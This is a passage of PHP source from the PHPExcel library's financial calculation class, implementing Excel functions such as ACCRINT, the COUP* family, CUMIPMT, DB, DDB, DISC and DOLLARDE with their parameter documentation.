of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Financial { /** * isLastDayOfMonth * * Returns a boolean TRUE/FALSE indicating if this date is the last date of the month * * @param DateTime $testDate The date for testing * @return boolean */ private static function isLastDayOfMonth($testDate) { return ($testDate->format('d') == $testDate->format('t')); } /** * isFirstDayOfMonth * * Returns a boolean TRUE/FALSE indicating if this date is the first date of the month * * @param DateTime $testDate The date for testing * @return boolean */ private static function isFirstDayOfMonth($testDate) { return ($testDate->format('d') == 1); } private static function couponFirstPeriodDate($settlement, $maturity, $frequency, $next) { $months = 12 / $frequency; $result = PHPExcel_Shared_Date::ExcelToPHPObject($maturity); $eom = self::isLastDayOfMonth($result); while ($settlement < PHPExcel_Shared_Date::PHPToExcel($result)) { $result->modify('-'.$months.' months'); } if ($next) { $result->modify('+'.$months.' months'); } if ($eom) { $result->modify('-1 day'); } return PHPExcel_Shared_Date::PHPToExcel($result); } private static function isValidFrequency($frequency) { if (($frequency == 1) || ($frequency == 2) || ($frequency == 4)) { return true; } if ((PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) && (($frequency == 6) || ($frequency == 12))) { return true; } return false; } /** * daysPerYear * * Returns the number of days in a specified year, as defined by the "basis" value * * @param integer $year The year against which we're testing * @param integer $basis The type of day count: * 0 or omitted US (NASD) 360 * 1 Actual (365 or 366 in a leap year) * 2 360 * 3 365 * 4 European 360 * @return integer */ private static function daysPerYear($year, $basis = 0) { switch ($basis) { case 0: case 2: case 4: $daysPerYear = 360; break; case 3: $daysPerYear = 365; break; case 1: $daysPerYear = (PHPExcel_Calculation_DateTime::isLeapYear($year)) ? 366 : 365; break; default: return PHPExcel_Calculation_Functions::NaN(); } return $daysPerYear; } private static function interestAndPrincipal($rate = 0, $per = 0, $nper = 0, $pv = 0, $fv = 0, $type = 0) { $pmt = self::PMT($rate, $nper, $pv, $fv, $type); $capital = $pv; for ($i = 1; $i<= $per; ++$i) { $interest = ($type && $i == 1) ? 0 : -$capital * $rate; $principal = $pmt - $interest; $capital += $principal; } return array($interest, $principal); } /** * ACCRINT * * Returns the accrued interest for a security that pays periodic interest. * * Excel Function: * ACCRINT(issue,firstinterest,settlement,rate,par,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed $issue The security's issue date. * @param mixed $firstinterest The security's first interest date. * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date * when the security is traded to the buyer. * @param float $rate The security's annual coupon rate. * @param float $par The security's par value. * If you omit par, ACCRINT uses $1,000. * @param integer $frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function ACCRINT($issue, $firstinterest, $settlement, $rate, $par = 1000, $frequency = 1, $basis = 0) { $issue = PHPExcel_Calculation_Functions::flattenSingleValue($issue); $firstinterest = PHPExcel_Calculation_Functions::flattenSingleValue($firstinterest); $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $par = (is_null($par)) ? 1000 : PHPExcel_Calculation_Functions::flattenSingleValue($par); $frequency = (is_null($frequency)) ? 1 : PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if ((is_numeric($rate)) && (is_numeric($par))) { $rate = (float) $rate; $par = (float) $par; if (($rate <= 0) || ($par <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysBetweenIssueAndSettlement = PHPExcel_Calculation_DateTime::YEARFRAC($issue, $settlement, $basis); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } return $par * $rate * $daysBetweenIssueAndSettlement; } return PHPExcel_Calculation_Functions::VALUE(); } /** * ACCRINTM * * Returns the accrued interest for a security that pays interest at maturity. * * Excel Function: * ACCRINTM(issue,settlement,rate[,par[,basis]]) * * @access public * @category Financial Functions * @param mixed issue The security's issue date. * @param mixed settlement The security's settlement (or maturity) date. * @param float rate The security's annual coupon rate. * @param float par The security's par value. * If you omit par, ACCRINT uses $1,000. * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function ACCRINTM($issue, $settlement, $rate, $par = 1000, $basis = 0) { $issue = PHPExcel_Calculation_Functions::flattenSingleValue($issue); $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $par = (is_null($par)) ? 1000 : PHPExcel_Calculation_Functions::flattenSingleValue($par); $basis = (is_null($basis)) ? 0 : PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if ((is_numeric($rate)) && (is_numeric($par))) { $rate = (float) $rate; $par = (float) $par; if (($rate <= 0) || ($par <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysBetweenIssueAndSettlement = PHPExcel_Calculation_DateTime::YEARFRAC($issue, $settlement, $basis); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } return $par * $rate * $daysBetweenIssueAndSettlement; } return PHPExcel_Calculation_Functions::VALUE(); } /** * AMORDEGRC * * Returns the depreciation for each accounting period. * This function is provided for the French accounting system. If an asset is purchased in * the middle of the accounting period, the prorated depreciation is taken into account. * The function is similar to AMORLINC, except that a depreciation coefficient is applied in * the calculation depending on the life of the assets. * This function will return the depreciation until the last period of the life of the assets * or until the cumulated value of depreciation is greater than the cost of the assets minus * the salvage value. * * Excel Function: * AMORDEGRC(cost,purchased,firstPeriod,salvage,period,rate[,basis]) * * @access public * @category Financial Functions * @param float cost The cost of the asset. * @param mixed purchased Date of the purchase of the asset. * @param mixed firstPeriod Date of the end of the first period. * @param mixed salvage The salvage value at the end of the life of the asset. * @param float period The period. * @param float rate Rate of depreciation. * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function AMORDEGRC($cost, $purchased, $firstPeriod, $salvage, $period, $rate, $basis = 0) { $cost = PHPExcel_Calculation_Functions::flattenSingleValue($cost); $purchased = PHPExcel_Calculation_Functions::flattenSingleValue($purchased); $firstPeriod = PHPExcel_Calculation_Functions::flattenSingleValue($firstPeriod); $salvage = PHPExcel_Calculation_Functions::flattenSingleValue($salvage); $period = floor(PHPExcel_Calculation_Functions::flattenSingleValue($period)); $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); // The depreciation coefficients are: // Life of assets (1/rate) Depreciation coefficient // Less than 3 years 1 // Between 3 and 4 years 1.5 // Between 5 and 6 years 2 // More than 6 years 2.5 $fUsePer = 1.0 / $rate; if ($fUsePer < 3.0) { $amortiseCoeff = 1.0; } elseif ($fUsePer < 5.0) { $amortiseCoeff = 1.5; } elseif ($fUsePer <= 6.0) { $amortiseCoeff = 2.0; } else { $amortiseCoeff = 2.5; } $rate *= $amortiseCoeff; $fNRate = round(PHPExcel_Calculation_DateTime::YEARFRAC($purchased, $firstPeriod, $basis) * $rate * $cost, 0); $cost -= $fNRate; $fRest = $cost - $salvage; for ($n = 0; $n < $period; ++$n) { $fNRate = round($rate * $cost, 0); $fRest -= $fNRate; if ($fRest < 0.0) { switch ($period - $n) { case 0: case 1: return round($cost * 0.5, 0); default: return 0.0; } } $cost -= $fNRate; } return $fNRate; } /** * AMORLINC * * Returns the depreciation for each accounting period. * This function is provided for the French accounting system. If an asset is purchased in * the middle of the accounting period, the prorated depreciation is taken into account. * * Excel Function: * AMORLINC(cost,purchased,firstPeriod,salvage,period,rate[,basis]) * * @access public * @category Financial Functions * @param float cost The cost of the asset. * @param mixed purchased Date of the purchase of the asset. * @param mixed firstPeriod Date of the end of the first period. * @param mixed salvage The salvage value at the end of the life of the asset. * @param float period The period. * @param float rate Rate of depreciation. * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function AMORLINC($cost, $purchased, $firstPeriod, $salvage, $period, $rate, $basis = 0) { $cost = PHPExcel_Calculation_Functions::flattenSingleValue($cost); $purchased = PHPExcel_Calculation_Functions::flattenSingleValue($purchased); $firstPeriod = PHPExcel_Calculation_Functions::flattenSingleValue($firstPeriod); $salvage = PHPExcel_Calculation_Functions::flattenSingleValue($salvage); $period = PHPExcel_Calculation_Functions::flattenSingleValue($period); $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); $fOneRate = $cost * $rate; $fCostDelta = $cost - $salvage; // Note, quirky variation for leap years on the YEARFRAC for this function $purchasedYear = PHPExcel_Calculation_DateTime::YEAR($purchased); $yearFrac = PHPExcel_Calculation_DateTime::YEARFRAC($purchased, $firstPeriod, $basis); if (($basis == 1) && ($yearFrac < 1) && (PHPExcel_Calculation_DateTime::isLeapYear($purchasedYear))) { $yearFrac *= 365 / 366; } $f0Rate = $yearFrac * $rate * $cost; $nNumOfFullPeriods = intval(($cost - $salvage - $f0Rate) / $fOneRate); if ($period == 0) { return $f0Rate; } elseif ($period <= $nNumOfFullPeriods) { return $fOneRate; } elseif ($period == ($nNumOfFullPeriods + 1)) { return ($fCostDelta - $fOneRate * $nNumOfFullPeriods - $f0Rate); } else { return 0.0; } } /** * COUPDAYBS * * Returns the number of days from the beginning of the coupon period to the settlement date. * * Excel Function: * COUPDAYBS(settlement,maturity,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function COUPDAYBS($settlement, $maturity, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } $daysPerYear = self::daysPerYear(PHPExcel_Calculation_DateTime::YEAR($settlement), $basis); $prev = self::couponFirstPeriodDate($settlement, $maturity, $frequency, false); return PHPExcel_Calculation_DateTime::YEARFRAC($prev, $settlement, $basis) * $daysPerYear; } /** * COUPDAYS * * Returns the number of days in the coupon period that contains the settlement date. * * Excel Function: * COUPDAYS(settlement,maturity,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function COUPDAYS($settlement, $maturity, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } switch ($basis) { case 3: // Actual/365 return 365 / $frequency; case 1: // Actual/actual if ($frequency == 1) { $daysPerYear = self::daysPerYear(PHPExcel_Calculation_DateTime::YEAR($maturity), $basis); return ($daysPerYear / $frequency); } $prev = self::couponFirstPeriodDate($settlement, $maturity, $frequency, false); $next = self::couponFirstPeriodDate($settlement, $maturity, $frequency, true); return ($next - $prev); default: // US (NASD) 30/360, Actual/360 or European 30/360 return 360 / $frequency; } return PHPExcel_Calculation_Functions::VALUE(); } /** * COUPDAYSNC * * Returns the number of days from the settlement date to the next coupon date. * * Excel Function: * COUPDAYSNC(settlement,maturity,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function COUPDAYSNC($settlement, $maturity, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } $daysPerYear = self::daysPerYear(PHPExcel_Calculation_DateTime::YEAR($settlement), $basis); $next = self::couponFirstPeriodDate($settlement, $maturity, $frequency, true); return PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $next, $basis) * $daysPerYear; } /** * COUPNCD * * Returns the next coupon date after the settlement date. * * Excel Function: * COUPNCD(settlement,maturity,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function COUPNCD($settlement, $maturity, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } return self::couponFirstPeriodDate($settlement, $maturity, $frequency, true); } /** * COUPNUM * * Returns the number of coupons payable between the settlement date and maturity date, * rounded up to the nearest whole coupon. * * Excel Function: * COUPNUM(settlement,maturity,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return integer */ public static function COUPNUM($settlement, $maturity, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } $settlement = self::couponFirstPeriodDate($settlement, $maturity, $frequency, true); $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis) * 365; switch ($frequency) { case 1: // annual payments return ceil($daysBetweenSettlementAndMaturity / 360); case 2: // half-yearly return ceil($daysBetweenSettlementAndMaturity / 180); case 4: // quarterly return ceil($daysBetweenSettlementAndMaturity / 90); case 6: // bimonthly return ceil($daysBetweenSettlementAndMaturity / 60); case 12: // monthly return ceil($daysBetweenSettlementAndMaturity / 30); } return PHPExcel_Calculation_Functions::VALUE(); } /** * COUPPCD * * Returns the previous coupon date before the settlement date. * * Excel Function: * COUPPCD(settlement,maturity,frequency[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed frequency the number of coupon payments per year. * Valid frequency values are: * 1 Annual * 2 Semi-Annual * 4 Quarterly * If working in Gnumeric Mode, the following frequency options are * also available * 6 Bimonthly * 12 Monthly * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function COUPPCD($settlement, $maturity, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } return self::couponFirstPeriodDate($settlement, $maturity, $frequency, false); } /** * CUMIPMT * * Returns the cumulative interest paid on a loan between the start and end periods. * * Excel Function: * CUMIPMT(rate,nper,pv,start,end[,type]) * * @access public * @category Financial Functions * @param float $rate The Interest rate * @param integer $nper The total number of payment periods * @param float $pv Present Value * @param integer $start The first period in the calculation. * Payment periods are numbered beginning with 1. * @param integer $end The last period in the calculation. * @param integer $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. * @return float */ public static function CUMIPMT($rate, $nper, $pv, $start, $end, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $nper = (int) PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $start = (int) PHPExcel_Calculation_Functions::flattenSingleValue($start); $end = (int) PHPExcel_Calculation_Functions::flattenSingleValue($end); $type = (int) PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } if ($start < 1 || $start > $end) { return PHPExcel_Calculation_Functions::VALUE(); } // Calculate $interest = 0; for ($per = $start; $per <= $end; ++$per) { $interest += self::IPMT($rate, $per, $nper, $pv, 0, $type); } return $interest; } /** * CUMPRINC * * Returns the cumulative principal paid on a loan between the start and end periods. * * Excel Function: * CUMPRINC(rate,nper,pv,start,end[,type]) * * @access public * @category Financial Functions * @param float $rate The Interest rate * @param integer $nper The total number of payment periods * @param float $pv Present Value * @param integer $start The first period in the calculation. * Payment periods are numbered beginning with 1. * @param integer $end The last period in the calculation. * @param integer $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. * @return float */ public static function CUMPRINC($rate, $nper, $pv, $start, $end, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $nper = (int) PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $start = (int) PHPExcel_Calculation_Functions::flattenSingleValue($start); $end = (int) PHPExcel_Calculation_Functions::flattenSingleValue($end); $type = (int) PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } if ($start < 1 || $start > $end) { return PHPExcel_Calculation_Functions::VALUE(); } // Calculate $principal = 0; for ($per = $start; $per <= $end; ++$per) { $principal += self::PPMT($rate, $per, $nper, $pv, 0, $type); } return $principal; } /** * DB * * Returns the depreciation of an asset for a specified period using the * fixed-declining balance method. * This form of depreciation is used if you want to get a higher depreciation value * at the beginning of the depreciation (as opposed to linear depreciation). The * depreciation value is reduced with every depreciation period by the depreciation * already deducted from the initial cost. * * Excel Function: * DB(cost,salvage,life,period[,month]) * * @access public * @category Financial Functions * @param float cost Initial cost of the asset. * @param float salvage Value at the end of the depreciation. * (Sometimes called the salvage value of the asset) * @param integer life Number of periods over which the asset is depreciated. * (Sometimes called the useful life of the asset) * @param integer period The period for which you want to calculate the * depreciation. Period must use the same units as life. * @param integer month Number of months in the first year. If month is omitted, * it defaults to 12. * @return float */ public static function DB($cost, $salvage, $life, $period, $month = 12) { $cost = PHPExcel_Calculation_Functions::flattenSingleValue($cost); $salvage = PHPExcel_Calculation_Functions::flattenSingleValue($salvage); $life = PHPExcel_Calculation_Functions::flattenSingleValue($life); $period = PHPExcel_Calculation_Functions::flattenSingleValue($period); $month = PHPExcel_Calculation_Functions::flattenSingleValue($month); // Validate if ((is_numeric($cost)) && (is_numeric($salvage)) && (is_numeric($life)) && (is_numeric($period)) && (is_numeric($month))) { $cost = (float) $cost; $salvage = (float) $salvage; $life = (int) $life; $period = (int) $period; $month = (int) $month; if ($cost == 0) { return 0.0; } elseif (($cost < 0) || (($salvage / $cost) < 0) || ($life <= 0) || ($period < 1) || ($month < 1)) { return PHPExcel_Calculation_Functions::NaN(); } // Set Fixed Depreciation Rate $fixedDepreciationRate = 1 - pow(($salvage / $cost), (1 / $life)); $fixedDepreciationRate = round($fixedDepreciationRate, 3); // Loop through each period calculating the depreciation $previousDepreciation = 0; for ($per = 1; $per <= $period; ++$per) { if ($per == 1) { $depreciation = $cost * $fixedDepreciationRate * $month / 12; } elseif ($per == ($life + 1)) { $depreciation = ($cost - $previousDepreciation) * $fixedDepreciationRate * (12 - $month) / 12; } else { $depreciation = ($cost - $previousDepreciation) * $fixedDepreciationRate; } $previousDepreciation += $depreciation; } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $depreciation = round($depreciation, 2); } return $depreciation; } return PHPExcel_Calculation_Functions::VALUE(); } /** * DDB * * Returns the depreciation of an asset for a specified period using the * double-declining balance method or some other method you specify. * * Excel Function: * DDB(cost,salvage,life,period[,factor]) * * @access public * @category Financial Functions * @param float cost Initial cost of the asset. * @param float salvage Value at the end of the depreciation. * (Sometimes called the salvage value of the asset) * @param integer life Number of periods over which the asset is depreciated. * (Sometimes called the useful life of the asset) * @param integer period The period for which you want to calculate the * depreciation. Period must use the same units as life. * @param float factor The rate at which the balance declines. * If factor is omitted, it is assumed to be 2 (the * double-declining balance method). * @return float */ public static function DDB($cost, $salvage, $life, $period, $factor = 2.0) { $cost = PHPExcel_Calculation_Functions::flattenSingleValue($cost); $salvage = PHPExcel_Calculation_Functions::flattenSingleValue($salvage); $life = PHPExcel_Calculation_Functions::flattenSingleValue($life); $period = PHPExcel_Calculation_Functions::flattenSingleValue($period); $factor = PHPExcel_Calculation_Functions::flattenSingleValue($factor); // Validate if ((is_numeric($cost)) && (is_numeric($salvage)) && (is_numeric($life)) && (is_numeric($period)) && (is_numeric($factor))) { $cost = (float) $cost; $salvage = (float) $salvage; $life = (int) $life; $period = (int) $period; $factor = (float) $factor; if (($cost <= 0) || (($salvage / $cost) < 0) || ($life <= 0) || ($period < 1) || ($factor <= 0.0) || ($period > $life)) { return PHPExcel_Calculation_Functions::NaN(); } // Set Fixed Depreciation Rate $fixedDepreciationRate = 1 - pow(($salvage / $cost), (1 / $life)); $fixedDepreciationRate = round($fixedDepreciationRate, 3); // Loop through each period calculating the depreciation $previousDepreciation = 0; for ($per = 1; $per <= $period; ++$per) { $depreciation = min(($cost - $previousDepreciation) * ($factor / $life), ($cost - $salvage - $previousDepreciation)); $previousDepreciation += $depreciation; } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $depreciation = round($depreciation, 2); } return $depreciation; } return PHPExcel_Calculation_Functions::VALUE(); } /** * DISC * * Returns the discount rate for a security. * * Excel Function: * DISC(settlement,maturity,price,redemption[,basis]) * * @access public * @category Financial Functions * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param integer price The security's price per $100 face value. * @param integer redemption The security's redemption value per $100 face value. * @param integer basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function DISC($settlement, $maturity, $price, $redemption, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $price = PHPExcel_Calculation_Functions::flattenSingleValue($price); $redemption = PHPExcel_Calculation_Functions::flattenSingleValue($redemption); $basis = PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if ((is_numeric($price)) && (is_numeric($redemption)) && (is_numeric($basis))) { $price = (float) $price; $redemption = (float) $redemption; $basis = (int) $basis; if (($price <= 0) || ($redemption <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return ((1 - $price / $redemption) / $daysBetweenSettlementAndMaturity); } return PHPExcel_Calculation_Functions::VALUE(); } /** * DOLLARDE * * Converts a dollar price expressed as an integer part and a fraction * part into a dollar price expressed as a decimal number. * Fractional dollar numbers are sometimes used for security prices. * * Excel Function: * DOLLARDE(fractional_dollar,fraction) * * @access public * @category Financial Functions * @param float $fractional_dollar Fractional Dollar * @param integer $fraction Fraction * @return float */ public static function DOLLARDE($fractional_dollar = null, $fraction = 0) { $fractional_dollar = PHPExcel_Calculation_Functions::flattenSingleValue($fractional_dollar); $fraction = (int)PHPExcel_Calculation_Functions::flattenSingleValue($fraction); // Validate parameters if (is_null($fractional_dollar) || $fraction < 0) { return PHPExcel_Calculation_Functions::NaN(); } if ($fraction == 0) { return PHPExcel_Calculation_Functions::DIV0(); } $dollars = floor($fractional_dollar); $cents = fmod($fractional_dollar, 1); $cents /= $fraction; $cents *= pow(10, ceil(log10($fraction))); return $dollars + $cents; } /** * DOLLARFR * * Converts a dollar price expressed as a decimal number into a dollar price * expressed as a fraction. * 